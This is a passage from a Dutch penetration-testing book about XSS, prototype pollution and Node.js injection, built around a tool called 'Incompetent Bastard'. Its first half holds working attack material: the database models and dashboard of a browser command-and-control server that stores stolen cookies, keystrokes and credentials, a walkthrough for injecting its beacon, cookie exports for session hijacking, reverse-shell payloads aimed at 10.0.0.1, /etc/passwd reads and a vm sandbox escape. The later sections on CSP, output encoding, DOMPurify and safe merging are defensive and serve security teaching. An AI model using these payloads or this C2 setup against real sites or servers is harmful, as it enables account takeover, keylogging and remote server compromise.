De C2 (Command and Control) endpoint is het mechanisme waarmee je opdrachten kunt sturen naar gehoekte browsers. Het db_xxs_commands model heeft een host veld (standaard * voor alle hosts) en een opdracht veld dat arbitrair JavaScript kan bevatten.

class db_xxs_commands(db.Model):
    __tablename__ = 'db_xxs_commands'
    id = db.Column(db.Integer, primary_key=True)
    host = db.Column(db.String(32), default='*')
    opdracht = db.Column(db.Text())

In theorie poll de beacon periodiek dit endpoint en voert ontvangen commando’s uit. Je kunt per host targeten of een wildcard gebruiken om alle gehoekte browsers tegelijk aan te sturen.

4.7.5 De database modellen

Achter dit alles zit een verzameling SQLAlchemy-modellen die alle verzamelde data opslaan:

class db_xxs_cookies(db.Model):
    __tablename__ = 'db_xxs_cookies'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    cookies = db.Column(db.Text())
    locatie = db.Column(db.Text())
class db_xxs_hooked(db.Model):
    __tablename__ = 'db_xxs_hooked'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
class db_xxs_keylogger(db.Model):
    __tablename__ = 'db_xxs_keylogger'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    toetsen = db.Column(db.Text())
    locatie = db.Column(db.Text())
class db_xxs_localstorage(db.Model):
    __tablename__ = 'db_xxs_localstorage'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    localstorage = db.Column(db.Text())
    locatie = db.Column(db.Text())
class db_xxs_login(db.Model):
    __tablename__ = 'db_xxs_login'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    username = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    password = db.Column(db.String(255))
class db_xxs_form(db.Model):
    __tablename__ = 'db_xxs_form'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    form = db.Column(db.Text())
    locatie = db.Column(db.Text())

Het complete datamodel vangt dus:

Model Wat het opslaat
db_xxs_hooked Geregistreerde slachtoffers (IP + User-Agent)
db_xxs_cookies Gestolen cookies per slachtoffer
db_xxs_localstorage localStorage dumps per slachtoffer
db_xxs_keylogger Toetsaanslagen per sessie
db_xxs_login Autocomplete-geharveste credentials
db_xxs_form Onderschepte formulierdata
db_xxs_commands C2-opdrachten om naar gehoekte browsers te sturen

Elk model slaat het IP-adres, de User-Agent, een MD5-hash (voor deduplicatie), een datum, en de daadwerkelijke data op. De locatie velden bevatten de Referer URL – zodat je weet op welke pagina het slachtoffer zich bevond.

4.7.6 Het dashboard: /dashboard/xxs

@xxs_bp.route("/dashboard/xxs", methods=["GET", "POST"])
def xxs_dashboard():
    hooked = db_xxs_hooked.query.all()
    cookies = db_xxs_cookies.query.order_by('datum').all()
    keylogger = db_xxs_keylogger.query.order_by('datum').all()
    localstorage = db_xxs_localstorage.query.order_by('datum').all()

    pagina = render_template('xss_dashboard.html',
        cookies=cookies,
        keylogger=keylogger,
        localstorage=localstorage,
        hooked=hooked,
        aantalhooked=len(hooked))
    return pagina

Het dashboard geeft je in een oogopslag:

4.7.7 Data exporteren

Het dashboard biedt ook export-mogelijkheden voor elk type data:

Cookies exporteren in Netscape formaat:

@xxs_bp.route("/dashboard/xxs/download_cookies/<int:id>")
def xxs_download_cookies(id):
    cookies = db_xxs_cookies.query.filter_by(id=id)
    waarden = ''
    regel = "\n[host]\tTRUE\t/\tFALSE\t[tijdstip]\t[naam]\t[waarde]"
    for x in cookies:
        for f in x.cookies.split(';'):
            y = f.split('=')
            waarden = waarden + regel.replace('[host]', str(x.ip)) \
                .replace('[tijdstip]', str(tijdstip)) \
                .replace('[naam]', str(y[0]).strip()) \
                .replace('[waarde]',
                    str(f.replace(y[0]+'=','')).strip())

    header = '''# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by Incompetent Bastard'''

    return header + waarden, 200, {
        'Content-Disposition':
            'attachment; filename="cookies_'+x.ip+'.txt"',
        ...
    }

De cookies worden geexporteerd in het Netscape cookie-bestandsformaat – hetzelfde formaat dat tools als curl begrijpen. Je kunt het gedownloade bestand direct gebruiken om de sessie van het slachtoffer over te nemen:

curl -b cookies_192.168.1.100.txt https://kwetsbare-site.nl/admin

Keylogger data exporteren:

@xxs_bp.route("/dashboard/xxs/download_toetsen/<int:id>")
def xxs_download_toetsen(id):
    data = db_xxs_keylogger.query.filter_by(id=id).first()
    header = '''# Keylog: [host] ([agent])
# location: [locatie]
# This file was generated by Incompetent Bastard'''
    tekst = header.replace('[host]', data.ip) \
        .replace('[agent]', data.agent) \
        .replace('[locatie]', data.locatie) \
        + "\n\n" + data.toetsen
    ...

En hetzelfde patroon voor localStorage exports.

4.7.8 Walkthrough: van XSS injectie tot sessie-overname

Laten we het hele proces eens doorlopen, stap voor stap, van het vinden van een XSS-kwetsbaarheid tot het volledig overnemen van een sessie.

Stap 1: Configureer IB.

Zorg dat de db_instellingen tabel je IP-adres bevat in het ikzelf veld, en dat localhost wijst naar het adres waarop IB draait (bijvoorbeeld http://10.0.0.1:5000).

Stap 2: Vind de XSS.

Gebruik de payloads uit web_xss_payloads om een reflective of stored XSS te vinden. Stel: je vindt een stored XSS in een commentaarveld.

Stap 3: Injecteer de beacon.

In plaats van <script>alert(1)</script> injecteer je:

<script src="http://10.0.0.1:5000/x.js"></script>

Of als script-tags gefilterd zijn:

<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1:5000/x.js';
  document.body.appendChild(s)">

Stap 4: Wacht op slachtoffers.

Elke gebruiker die de pagina met het geinfecteerde commentaar bezoekt, laadt de beacon. De beacon:

  1. Registreert de browser als “gehoekt” in db_xxs_hooked
  2. Stuurt alle cookies naar /xxs/cookies
  3. Stuurt de volledige localStorage naar /xxs/localstorage
  4. Maakt onzichtbare invoervelden aan voor autocomplete-harvesting
  5. Installeert een keylogger en click tracker

Stap 5: Monitor het dashboard.

Ga naar http://10.0.0.1:5000/dashboard/xxs. Je ziet:

Stap 6: Export en gebruik.

Download de cookies van een admin-gebruiker in Netscape formaat. Gebruik ze met curl of importeer ze in je browser:

# Directe sessie-overname met curl
curl -b cookies_192.168.1.42.txt \
  https://kwetsbare-site.nl/admin/users

# Of bekijk de gestolen data
curl -b cookies_192.168.1.42.txt \
  https://kwetsbare-site.nl/api/v1/me

Stap 7: Optioneel – C2 commando’s.

Via het db_xxs_commands model kun je JavaScript-opdrachten sturen naar gehoekte browsers. Wil je een screenshot maken van wat het slachtoffer ziet? Een redirect forceren? Extra data exfiltreren? Alles is mogelijk zodra je JavaScript kunt uitvoeren in hun browser.

IB Tip: Het beacon-systeem van IB is bewust eenvoudig gehouden. Het is geen BeEF (Browser Exploitation Framework) met honderden modules. Het is een lichtgewicht, pragmatisch systeem dat de vijf dingen doet die je in 90% van de pentests nodig hebt: cookies stelen, localStorage dumpen, credentials harvesten, keyloggen, en C2-commando’s sturen.


4.8 Prototype Pollution: vergiftiging van de blauwdruk

Nu verlaten we de browser en betreden we het domein van JavaScript als taal – specifiek de eigenaardigheden van prototypische overerving. Prototype pollution is een kwetsbaarheid die zo fundamenteel is dat het bijna komisch is. Het is alsof iemand ontdekt dat je het DNA van een hele soort kunt veranderen door de juiste bacterie te injecteren.

4.8.1 Wat is prototype pollution?

In JavaScript erft elk object eigenschappen van een prototype-object. Als je een nieuw object aanmaakt, erft het automatisch van Object.prototype. Dit is de basis van prototypische overerving – JavaScript’s antwoord op klasse-gebaseerde overerving, bedacht in die legendarische tien dagen.

Het probleem: als een aanvaller erin slaagt om Object.prototype te wijzigen, heeft dat effect op elk object in de applicatie. Het is alsof je de bouwvoorschriften van een stad verandert – elk gebouw dat daarna gebouwd wordt, volgt de nieuwe, gecompromitteerde regels.

Het mechanisme:

// Normaal object
let obj = {};
console.log(obj.polluted); // undefined

// Prototype pollution via __proto__
let kwaadaardig = JSON.parse(
  '{"__proto__":{"polluted":"ja"}}'
);
// Een onveilige merge-functie kopieert dit naar een target:
// merge(target, kwaadaardig)

// Nu heeft ELK object de eigenschap "polluted"
let ander_obj = {};
console.log(ander_obj.polluted); // "ja" (!)

De __proto__ eigenschap is een verwijzing naar het prototype van een object. Door deze te manipuleren in user-controlled input, kun je eigenschappen toevoegen aan Object.prototype – en daarmee aan elk object in de applicatie.

4.8.2 Van pollution naar Remote Code Execution

Prototype pollution op zichzelf is al vervelend, maar het wordt pas echt gevaarlijk wanneer het gecombineerd wordt met een template engine. Veel template engines in Node.js lezen configuratie-opties van objecten – en als die objecten vervuilde prototypes hebben, voert de template engine de kwaadaardige waarden uit.

4.8.3 IB Command: web_prototype_pollution

# Bestandslocatie:
# http/commands/web_prototype_pollution

Het command bestand bevat detectie- en exploitatiepayloads:

Blackbox detectie:

{"__proto__":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}

Stuur een van deze als JSON-body naar een endpoint. Check daarna of een nieuw aangemaakt object de eigenschap polluted heeft. Als {}.polluted === "yes", is de applicatie kwetsbaar.

Crash test:

{"__proto__":{"toString":"crash"}}

Als de applicatie crasht nadat je dit stuurt, is dat een sterke indicator van prototype pollution. De toString methode wordt overal gebruikt, en als die opeens een string is in plaats van een functie, gaat alles kapot.

RCE via EJS template engine:

{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.0.0.1/443 0>&1\"');x"
  }
}

EJS leest outputFunctionName uit de opties. Door deze te polluten met een JavaScript-expressie die een reverse shell spawnt, krijg je code execution op de server.

Laat dat even bezinken. Je stuurt een JSON-object naar een webapplicatie, en als gevolg daarvan krijgt je een shell op de server. Via een mechanisme dat eigenlijk bedoeld is voor template configuratie. Het is alsof je bij een restaurant een speciale bestelling plaatst en als gevolg daarvan toegang krijgt tot de keuken.

RCE via Pug template engine:

{
  "__proto__": {
    "block": {
      "type": "Text",
      "val": "x]];process.mainModule.require('child_process').exec('id');//"
    }
  }
}

Kwetsbare libraries:

Het command bestand noemt specifieke libraries die kwetsbaar zijn voor prototype pollution in hun merge/extend functies:

Belangrijk: Object.assign is niet kwetsbaar. Het is een shallow copy en kopieert geen __proto__ eigenschappen.

Detectie in source code:

Zoek naar: - merge(target, source) – custom merge-functies - extend(true, target, source) – jQuery-stijl deep extend

Preventie:

IB Tip: WebSocket-parameters zijn vaak kwetsbaarder voor prototype pollution dan reguliere HTTP-parameters. De reden: minder sanitization. Websockets zijn de achterdeuren van veel applicaties – iedereen focust op de voordeur (HTTP), terwijl de achterdeur wagenwijd open staat. Combineer prototype pollution met de template engine die de applicatie gebruikt voor een volledige RCE-chain.


4.9 Node.js Injection: eval() en het einde der tijden

We zijn nu aangekomen bij het meest verbijsterende beveiligingsprobleem dat er bestaat in de JavaScript-wereld. Het is een probleem dat al bestaat sinds de eerste dag dat iemand dacht: “Hey, laten we JavaScript ook op de server draaien!” Het is een probleem waarvan elke beveiligingsexpert zegt dat het nooit mag voorkomen. En toch komt het voor. Keer op keer.

eval() in Node.js.

Voor wie het niet weet: eval() is een functie die een string neemt en die uitvoert als JavaScript-code. In de browser is dat al gevaarlijk. Op een server is het het digitale equivalent van een open nucleaire lanceerinstallatie met het wachtwoord “password123.”

Want Node.js draait niet in een sandbox. Er is geen Same-Origin Policy. Er is geen Content Security Policy. Als je code kunt uitvoeren via eval() in Node.js, heb je directe toegang tot het bestandssysteem, het netwerk, de processen – alles.

4.9.1 IB Command: web_nodejs_inject

# Bestandslocatie:
# http/commands/web_nodejs_inject

Basis eval() injection:

// Test of eval() actief is:
1+1

// Commando uitvoeren:
require('child_process').execSync('id').toString()

// Bestanden lezen:
require('child_process').execSync('cat /etc/passwd').toString()

Als een applicatie user input in eval() stopt – en ja, dat gebeurt echt – dan is een enkele regel genoeg voor volledige server-compromitatie.

Reverse shell via eval():

require('child_process').exec(
  'bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"'
)

Of een meer geavanceerde variant met de net module:

var net = require('net'),
    sh = require('child_process').exec('/bin/bash');
var c = new net.Socket();
c.connect(443, '10.0.0.1', function() {
  c.pipe(sh.stdin);
  sh.stdout.pipe(c);
  sh.stderr.pipe(c);
});

Slash bypass via hex encoding:

Als het karakter / gefilterd is:

var cmd = '\x2fbin\x2fbash';
require('child_process').exec(
  cmd + ' -c "bash -i >& \x2fdev\x2ftcp\x2f10.0.0.1\x2f443 0>&1"'
)

\x2f is de hexadecimale representatie van /. JavaScript decodeert dit voor uitvoering, dus het filter ziet geen slashes maar de runtime wel.

Template literal injection:

${require('child_process').execSync('id')}

Als user input in een template literal terecht komt (backtick strings), worden ${} expressies uitgevoerd.

vm module sandbox escape:

Node.js heeft een vm module die bedoeld is als een soort sandbox. “Bedoeld” is hier het sleutelwoord, want de sandbox is poreuzer dan een vergiet:

this.constructor.constructor('return process')()
  .mainModule.require('child_process')
  .execSync('id').toString()

Door de constructor-chain te volgen, ontsnap je uit de vm-sandbox en krijg je toegang tot het process object van Node.js. Van daaruit is het trivial om child_process te laden en commando’s uit te voeren.

Bestanden lezen:

require('fs').readFileSync('/etc/passwd', 'utf8')

De fs module geeft directe toegang tot het bestandssysteem. Geen omwegen, geen restricties.

Waar te zoeken:

Het command bestand geeft specifieke functies en patronen om naar te zoeken:

En de twee gouden tips:

  1. Node.js eval is directe RCE. Er is geen sandbox. Geen beperking. Niks.
  2. JSON.parse is veilig. Het parseert alleen data, het voert niks uit. eval() op JSON is het probleem, niet JSON.parse().

IB Tip: Als je eval() of Function() tegenkomt in server-side JavaScript, is dat altijd een bevinding, zelfs als de input op dat moment niet direct te controleren lijkt. Het is een tikkende tijdbom die wacht tot iemand de verkeerde waarde doorgeeft.


4.10 Verdediging: hoe het wel moet

Het mooie aan de webbeveiliging-industrie is dat we al twintig jaar oplossingen hebben voor XSS, en dat we ze collectief weigeren te gebruiken. We weten hoe het moet. We hebben de tools. We hebben de standaarden. We hebben de documentatie. En toch, jaar na jaar, verschijnt XSS in de OWASP Top 10.

Het is alsof de hele mensheid een handleiding heeft voor het voorkomen van branden, maar we blijven collectief onze sigaretten in het droge gras gooien.

Maar goed, voor de mensen die daadwerkelijk hun werk willen doen, hier zijn de verdedigingen.

4.10.1 Output Encoding – de eerste verdedigingslinie

De meest fundamentele verdediging tegen XSS is output encoding: het onschadelijk maken van speciale tekens voordat ze in de HTML terechtkomen.

<  wordt  &lt;
>  wordt  &gt;
"  wordt  &quot;
'  wordt  &#x27;
&  wordt  &amp;

Context-specifieke encoding is essentieel. HTML-encoding beschermt in de HTML-context maar niet in JavaScript-strings. JavaScript-encoding beschermt in JavaScript maar niet in HTML-attributen. URL-encoding beschermt in URL’s maar niet in HTML.

# Python/Flask -- veilig (Jinja2 auto-escapes)
{{ user_input }}

# ONVEILIG -- | safe schakelt auto-escaping uit
{{ user_input | safe }}
// JavaScript -- ONVEILIG
element.innerHTML = userInput;

// JavaScript -- veilig
element.textContent = userInput;

De regel is simpel: gebruik textContent in plaats van innerHTML wanneer je tekst rendert. Gebruik de auto-escaping van je template engine. En als je ooit | safe of {!! !!} of dangerouslySetInnerHTML typt, stop dan even en vraag jezelf af waarom.

4.10.2 Content Security Policy (CSP) – de tweede verdedigingslinie

Content Security Policy is een HTTP-header die de browser vertelt welke bronnen een pagina mag laden. Het is de meest krachtige verdediging tegen XSS, en tegelijkertijd de meest onderbenutte.

Content-Security-Policy: default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Met deze header kan de pagina alleen scripts laden van zijn eigen domein ('self'). Inline scripts (<script>alert(1)</script>) worden geblokkeerd. Event handler attributen (onerror=alert(1)) worden geblokkeerd. eval() wordt geblokkeerd.

Belangrijke CSP directives voor XSS-preventie:

Directive Functie
script-src Welke bronnen mogen scripts leveren
style-src Welke bronnen mogen stylesheets leveren
default-src Fallback voor alle resource types
frame-ancestors Wie mag deze pagina in een iframe laden
base-uri Welke base URIs zijn toegestaan
form-action Waar mogen formulieren naartoe submitten

Nonce-based CSP:

Content-Security-Policy: script-src 'nonce-R4nd0mStr1ng';
<!-- Dit script wordt uitgevoerd (juiste nonce) -->
<script nonce="R4nd0mStr1ng">
  // Legitieme applicatie code
</script>

<!-- Dit script wordt geblokkeerd (geen nonce) -->
<script>alert('XSS')</script>

Met nonce-based CSP moeten alle scripts een unieke, per-request gegenereerde nonce hebben. Een aanvaller die XSS injecteert, kent de nonce niet en kan dus geen scripts uitvoeren.

Strict-dynamic:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-R4nd0m';

Met strict-dynamic mogen scripts die via een vertrouwd script geladen worden (met de juiste nonce), zelf ook weer scripts laden. Dit maakt het makkelijker om CSP te implementeren in complexe applicaties met veel dynamisch geladen scripts.

4.10.3 HttpOnly Cookies

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

De HttpOnly vlag voorkomt dat JavaScript de cookie kan lezen via document.cookie. Dit beschermt specifiek tegen de meest directe vorm van XSS-exploitatie: cookie theft.

Maar – en dit is belangrijk – HttpOnly beschermt niet tegen:

HttpOnly is een slot op een van de deuren. Beter dan niks, maar geen volledige oplossing.

4.10.4 DOMPurify – sanitization voor de client-side

// ONVEILIG
element.innerHTML = userInput;

// VEILIG met DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);

DOMPurify is een JavaScript-library die HTML sanitizetert door alle potentieel gevaarlijke elementen en attributen te verwijderen. Het is de industriestandaard voor client-side HTML-sanitization.

// DOMPurify configuratie voorbeelden
DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

4.10.5 Specifieke verdedigingen per XSS-type

XSS Type Primaire verdediging Secundaire verdediging
Reflected Output encoding CSP, input validatie
Stored Output encoding CSP, input sanitization
DOM-based Gebruik textContent DOMPurify, CSP

Voor DOM-based XSS specifiek:

window.addEventListener('message', function(event) {
  // ALTIJD de origin controleren!
  if (event.origin !== 'https://vertrouwd-domein.nl') {
    return; // Negeer berichten van onbekende bronnen
  }
  // Gebruik textContent, NIET innerHTML
  document.getElementById('notificatie').textContent = event.data;
});

4.10.6 De cynische waarheid over “het is maar JavaScript”

Er zit een bepaald type manager in de tech-industrie – je kent ze wel, die figuren met hun poloshirts en hun “agile” buzzwords – die bij elke pentest- rapportage met een XSS-bevinding zeggen: “Maar het is maar een pop-up. Hoe erg kan het zijn?”

Het is maar een pop-up. Precies. En een kernreactor is maar een waterkoker. En een pistool is maar een buisje met een veertje. De vereenvoudiging mist het punt zo spectaculair dat het bijna bewonderenswaardig is.

Het is maar JavaScript. Datzelfde JavaScript dat:

“Het is maar JavaScript” is het beveiligingsequivalent van “het is maar een beetje water” terwijl de dam breekt.

Het probleem is niet dat managers niet begrijpen wat JavaScript kan. Het probleem is dat ze niet willen begrijpen wat JavaScript kan. Want als ze het zouden begrijpen, zouden ze ook moeten begrijpen dat hun applicatie al jaren kwetsbaar is, dat ze al jaren de verkeerde keuzes hebben gemaakt, en dat het fixen geld kost. En het is altijd makkelijker om het risico weg te wuiven dan om het aan te pakken.

Daarom maken we die mooie alert(1) pop-ups. Niet omdat dat het enige is wat we kunnen, maar omdat het de simpelste manier is om te bewijzen dat er code- executie mogelijk is. De echte exploit komt erna. En die laat je zien in een gecontroleerde omgeving, met een tool als Incompetent Bastard, zodat ook de meest cynische manager het risico niet meer kan ontkennen.

IB Tip: In je pentestrapport: toon altijd meer dan alleen alert(1). Demonstreer session hijacking met het IB beacon lab. Laat zien dat je cookies kunt stelen, dat je kunt keyloggen, dat je de pagina kunt vervangen. Kwantificeer de impact. “Een aanvaller kan alle sessies van ingelogde gebruikers overnemen” is een stuk overtuigender dan “er verscheen een pop-up.”


4.11 Prototype Pollution verdediging

Voor prototype pollution gelden specifieke verdedigingsmaatregelen:

1. Gebruik Object.create(null) voor dictionaries:

// ONVEILIG -- erft van Object.prototype
let config = {};

// VEILIG -- geen prototype
let config = Object.create(null);

2. Gebruik Map in plaats van gewone objecten:

// ONVEILIG
let cache = {};
cache[userInput] = value;

// VEILIG
let cache = new Map();
cache.set(userInput, value);

3. Controleer met hasOwnProperty:

function safeMerge(target, source) {
  for (let key in source) {
    if (source.hasOwnProperty(key)) {
      if (key === '__proto__' || key === 'constructor') {
        continue; // Skip gevaarlijke keys
      }
      target[key] = source[key];
    }
  }
  return target;
}

4. Update je dependencies:

5. Freeze het prototype:

Object.freeze(Object.prototype);

Dit is de nucleaire optie: niemand kan meer eigenschappen toevoegen aan Object.prototype. Het breekt mogelijk legitieme code die prototypes uitbreidt, maar het elimineert prototype pollution volledig.


4.12 Node.js Injection verdediging

1. Gebruik nooit eval() op user input:

// NOOIT DIT DOEN
app.get('/calc', (req, res) => {
  let result = eval(req.query.expr);  // RCE!
  res.send(String(result));
});

// VEILIG alternatief -- gebruik een parser
const mathjs = require('mathjs');
app.get('/calc', (req, res) => {
  let result = mathjs.evaluate(req.query.expr);
  res.send(String(result));
});

2. JSON.parse() is veilig, eval() op JSON is dat niet:

// VEILIG
let data = JSON.parse(userInput);

// ONVEILIG
let data = eval('(' + userInput + ')');

3. Gebruik --frozen-intrinsics flag:

node --frozen-intrinsics app.js

Dit bevriest alle ingebouwde objecten, waardoor prototype pollution onmogelijk wordt.

4. Vermijd vm als sandbox:

De vm module van Node.js is geen beveiligings-sandbox. Gebruik vm2 of isolated-vm als je echt code in een sandbox wilt uitvoeren, maar weet dat ook deze libraries kwetsbaarheden kunnen hebben.


4.13 Samenvatting: de XSS gereedschapskist

We hebben in dit hoofdstuk een reis gemaakt van de simpelste <script>alert(1) </script> tot een volledig operationeel XSS command and control systeem. Laten we de belangrijkste lessen op een rij zetten.

XSS Typen

Type Payload locatie Server betrokken Vereist klik
Reflected URL parameters Ja Ja
Stored Database/bestand Ja Nee
DOM-based URL fragment/DOM Nee Soms

IB Command Referentie

Command Doel
web_xss_payloads XSS-vectoren per context en filter bypass
web_xss_steal Exfiltratie-payloads (cookies, keys, creds)
web_prototype_pollution Prototype pollution detectie en RCE-chains
web_nodejs_inject Node.js server-side injection technieken

IB Beacon Lab Endpoints

Endpoint Functie
/x.js of /xxs.js Beacon JavaScript payload delivery
/xxs/cookies Cookie exfiltratie callback
/xxs/localstorage localStorage exfiltratie callback
/xxs/keylogger Keylogger data callback
/xxs/gebruiker Autocomplete credential callback
/xxs/commands C2 command polling
/dashboard/xxs Overzicht dashboard
/dashboard/xxs/download_cookies/<id> Cookie export (Netscape)
/dashboard/xxs/download_toetsen/<id> Keylogger export
/dashboard/xxs/download_localstorage/<id> localStorage export

IB Database Modellen

Model Tabel Slaat op
db_xxs_hooked db_xxs_hooked Gehoekte browsers
db_xxs_cookies db_xxs_cookies Gestolen cookies
db_xxs_localstorage db_xxs_localstorage localStorage data
db_xxs_keylogger db_xxs_keylogger Toetsaanslagen
db_xxs_login db_xxs_login Autocomplete credentials
db_xxs_form db_xxs_form Formulierdata
db_xxs_commands db_xxs_commands C2 opdrachten
db_instellingen db_instellingen Configuratie (IP, etc.)

Verdedigingsoverzicht

Maatregel Beschermt tegen Effectiviteit
Output encoding Reflected, Stored XSS Hoog
CSP (nonce-based) Alle XSS-typen Zeer hoog
HttpOnly cookies Cookie theft via XSS Medium
DOMPurify DOM-based XSS Hoog
textContent DOM-based XSS Hoog
Object.create(null) Prototype pollution Hoog
JSON.parse Node.js injection (vs eval) Hoog

4.14 Verder lezen en referenties

Bron Onderwerp
OWASP XSS Prevention Cheat Sheet Output encoding per context
OWASP Testing Guide - XSS Testmethodologie
PortSwigger Web Security Academy - XSS Interactieve labs
Google CSP Evaluator CSP-beleid testen
DOMPurify GitHub repository Client-side sanitization
CWE-79: Improper Neutralization of Input Formele kwetsbaarheidsdefinitie
CWE-1321: Improperly Controlled Modification Prototype pollution CWE
NodeGoat OWASP Project Node.js beveiligingslabs
HackTricks - XSS Uitgebreide payload collectie
BeEF Framework Browser exploitation reference

De volgende keer dat iemand je vertelt dat XSS “maar een pop-up” is, nodig ze dan uit voor een demonstratie met het IB beacon lab. Niets overtuigt zo snel als het zien van je eigen toetsaanslagen op het scherm van iemand anders.

In het volgende hoofdstuk duiken we in Server-Side Request Forgery (SSRF) – een kwetsbaarheid waarbij we de server zelf als proxy gebruiken om plaatsen te bereiken waar we niet horen te zijn. Als XSS gaat over het manipuleren van de browser, gaat SSRF over het manipuleren van de server. En servers hebben doorgaans toegang tot veel interessantere dingen dan browsers.